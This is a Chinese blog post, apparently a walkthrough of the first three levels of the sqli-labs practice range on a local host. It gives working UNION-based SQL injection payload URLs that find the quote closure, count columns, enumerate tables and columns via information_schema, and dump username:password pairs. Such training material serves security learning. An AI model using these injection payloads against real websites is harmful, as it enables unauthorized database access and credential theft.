sqli 靶场通关(持续更新)

xxpanda / 2023-05-04 / 原文

第一关:Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

手工union联合查询注入

一:判断注入类型

url=http://127.0.0.2/Less-1/?id=1'

看回显的报错信息

这里说: '1'' LIMIT 0,1    这里的1被单引号包裹说明这里是字符型然后  '  引号闭合。

收获:字符型, ' 号闭合

二:进行联合注入

联合注入需要的条件有不清楚的小伙伴可以去这篇文章看看

https://www.freebuf.com/vuls/254621.html

1.找到当前表的列数

因为联合注入虚拟表是列数要和当前表的列数一致

我们可以通过[order by]语句来判断,[order by]语句的作用是按照某一列进行排序数。并且在Mysql数据库中可以用数字来代替对应的列表

order by 3   正常   

 

order by 4  异常

说明当前表有三列

 

2.联合注入查询库

url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,database() --+

注意:这里要知道联合注入时,你前面的值要为假的时候,也就是数据不存在时,union select之后查询出的结果就会显示在页面中

3.查询当前表

url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

解析url:

group_concat(),函数作用:把回显全部拼接到一起,这样就可以获得全部回显

information_schema源数据库数据库

information_schema.tables:存放所有表名的表

information_schema.columns:(存所有字段名的表)

information_schema.table_name:(存表名的字段)

information_schema.table_schema:(存表所属数据库的字段)

information_schema.column_name:存字段名的字段)

information_schema.table_name:(存字段所属表的字段)

 

收获:拿到了以下的表

4.爆列名了,也就是爆字段

url  = http://127.0.0.2/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

 5.爆值

url = http://127.0.0.2/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+

解析:0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。

 

 

 第二关:Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

 这里和第一题的区别就是一题是字符型,这题是整型注入。

看下区别:

报错信息是:' LIMIT 0,1

所以说明这里是整型

payload就是把上题的id=1'  后面的分号去除

 

 

url = ?id=-1 union select 1,2,group_concat(username,0x3a,password) from users--+

 

 第三题:Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

一:分析报错信息

url = http://127.0.0.2/Less-3/?id=1'

报错位置 :   '1'') LIMIT 0,1

 

 种类:字符型,且有括号包裹
所以这里的payload要在id=1'后面加上)号,这是因为这样才能闭合前面的语句,其他参数和前面一样
 
url  =  http://127.0.0.2/Less-3/?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+